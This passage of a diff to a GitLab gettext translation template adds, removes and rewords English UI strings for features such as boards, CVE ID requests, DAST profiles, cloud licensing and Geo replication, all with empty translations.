+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
